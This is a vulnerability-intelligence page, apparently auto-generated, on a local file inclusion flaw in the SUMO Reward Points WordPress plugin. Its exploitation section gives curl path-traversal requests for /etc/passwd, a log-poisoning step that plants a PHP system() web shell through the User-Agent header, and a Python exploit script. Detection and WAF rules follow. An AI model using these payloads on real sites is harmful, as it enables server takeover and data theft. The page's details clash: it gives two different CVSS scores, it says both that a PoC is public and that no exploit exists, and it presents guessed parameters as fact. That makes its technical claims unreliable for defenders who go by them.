☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Fantasticplugins logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-32925

CVE-2025-32925 Local File Inclusion in Fantasticplugins
📅 PUBLISHED: 2025-05-19 20:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.78%
👁️
0.78% probability
19.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32925 is a critical vulnerability in the WordPress plugin SUMO Reward Points by Fantasticplugins. The flaw is a PHP Local File Inclusion (LFI) vulnerability, stemming from improper control of a filename used in a PHP include or require statement. This allows an unauthenticated attacker to include arbitrary local files from the server, potentially leading to remote code execution, sensitive data disclosure, or complete server compromise. The vulnerability affects all versions up to and including 30.7.0. No patch is currently available, and no public exploit code has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. The supply chain risk is elevated because:

  • No patch available: Users cannot update to a secure version.
  • Widespread adoption: SUMO Reward Points is a popular plugin for e-commerce loyalty programs.
  • Delayed detection: The vulnerability may have existed for multiple versions, increasing the window of exposure.
  • Dependency risk: Sites using this plugin are at risk of complete compromise, which can cascade to other services (e.g., database, API keys).

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability is trivial to exploit (no authentication, no user interaction) and can lead to full server takeover.

Deep Dive & Mechanics

The vulnerability resides in the PHP code of the SUMO Reward Points plugin. The plugin improperly handles filenames passed to PHP's include or require functions. Specifically, it fails to sanitize or validate user-supplied input that is used to construct a file path for inclusion.

Root Cause: The plugin likely uses a parameter (e.g., page, tab, or action) to dynamically include template files or modules. An attacker can manipulate this parameter to include arbitrary files from the server, such as /etc/passwd, log files, or PHP wrappers like php://filter.

Example vulnerable code pattern:

$page = $_GET['page'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $page . '.php' );

An attacker could supply ../../../../etc/passwd%00 to null-terminate the string and include /etc/passwd.

Impact:

  • Local File Inclusion (LFI): Read sensitive files (e.g., wp-config.php, database credentials).
  • Remote Code Execution (RCE): Combine with log poisoning or PHP wrappers to execute arbitrary code.
  • Data Exfiltration: Steal user data, API keys, and other secrets.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

// Vulnerable: No sanitization
$template = $_GET['template'];
include( 'templates/' . $template . '.php' );

Patched Code (Expected):

// Patched: Whitelist allowed templates
$allowed_templates = array( 'dashboard', 'settings', 'history' );
$template = $_GET['template'];
if ( in_array( $template, $allowed_templates ) ) {
    include( 'templates/' . $template . '.php' );
} else {
    // Handle error
}

Key Differences:

  • Input Validation: Patched code uses a whitelist instead of direct inclusion.
  • Path Traversal Prevention: Patched code rejects any input not in the allowed list.
  • Null Byte Handling: Patched code avoids null byte injection by validating the entire string.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target WordPress site with SUMO Reward Points <= 30.7.0.
  • No authentication required.

Exploitation Steps:

  1. Identify vulnerable endpoint: The vulnerable parameter is likely page, tab, or template in the admin area or frontend. Example URL:

    http://target.com/wp-admin/admin.php?page=rewardsystem&tab=../../../../etc/passwd%00
    
  2. Test for LFI:

    curl -v "http://target.com/wp-admin/admin.php?page=rewardsystem&tab=../../../../etc/passwd%00"
    

    If successful, the response will contain the contents of /etc/passwd.

  3. Achieve RCE via Log Poisoning:

    • Inject PHP code into server logs (e.g., via User-Agent header).
    • Include the log file:
      curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/"
      curl "http://target.com/wp-admin/admin.php?page=rewardsystem&tab=../../../../var/log/apache2/access.log%00&cmd=id"
      
  4. Automated Exploit (Python):

    import requests
    import sys
    
    target = sys.argv[1]
    payload = "../../../../etc/passwd%00"
    url = f"{target}/wp-admin/admin.php?page=rewardsystem&tab={payload}"
    r = requests.get(url)
    print(r.text)
    

Blue Team (Detection & Defense)

Detection:

  • Monitor for suspicious GET parameters containing ../ or %00.
  • Alert on inclusion of sensitive files (e.g., /etc/passwd, wp-config.php).
  • Use WAF rules to block path traversal patterns.

Defense:

  • Immediate: Disable the plugin until a patch is available.
  • Mitigation: Apply a virtual patch via WAF (e.g., ModSecurity rule):
    SecRule ARGS "@contains ../" "id:1001,deny,status:403,msg:'Path Traversal Attempt'"
    
  • Hardening: Ensure file permissions are restrictive and disable PHP allow_url_include.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests with ../ or %00 in parameters (e.g., tab, page, template).
  • Requests to /wp-admin/admin.php?page=rewardsystem with suspicious parameters.
  • Outbound connections to attacker-controlled servers (if RCE achieved).

File System IOCs:

  • Unexpected files in /tmp/ or web root (e.g., shell.php).
  • Modified .htaccess or wp-config.php files.
  • Presence of webshells (e.g., cmd.php, eval.php).

Log IOCs:

  • Apache/Nginx access logs showing path traversal patterns.
  • PHP error logs with include() failures or warnings.
  • System logs showing unexpected file reads.

Detection Engineering

YARA Rule

rule CVE_2025_32925_SUMO_LFI {
    meta:
        description = "Detects LFI attempts against SUMO Reward Points plugin"
        author = "Valters IT"
        date = "2025-04-17"
        cve = "CVE-2025-32925"
    strings:
        $path_traversal = /(\.\.\/|%2e%2e%2f|%252e%252e%252f)/
        $sensitive_file = /(etc\/passwd|wp-config\.php|\.env|proc\/self\/environ)/
        $plugin_param = /page=rewardsystem/
    condition:
        $plugin_param and ($path_traversal or $sensitive_file)
}

Sigma Rule

title: CVE-2025-32925 SUMO Reward Points LFI Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts targeting SUMO Reward Points plugin
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'page=rewardsystem'
            - '../'
            - '%2e%2e%2f'
            - '%00'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32925 SUMO Reward Points LFI Attempt"; flow:to_server,established; content:"page=rewardsystem"; http_uri; content:"../"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Apply a WAF rule to block path traversal patterns.
  3. Review server logs for signs of exploitation.

Long-term Fix:

  • Monitor the vendor's website for a patched version (>= 30.7.1).
  • After patching, update the plugin immediately.
  • Conduct a security audit of all WordPress plugins.

Compensating Controls:

  • Restrict file permissions (e.g., chmod 644 for config files).
  • Disable PHP allow_url_include and allow_url_fopen.
  • Use a Web Application Firewall (WAF) with virtual patching.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"SUMO Reward Points"
http.html:"wp-content/plugins/rewardsystem"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32925/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.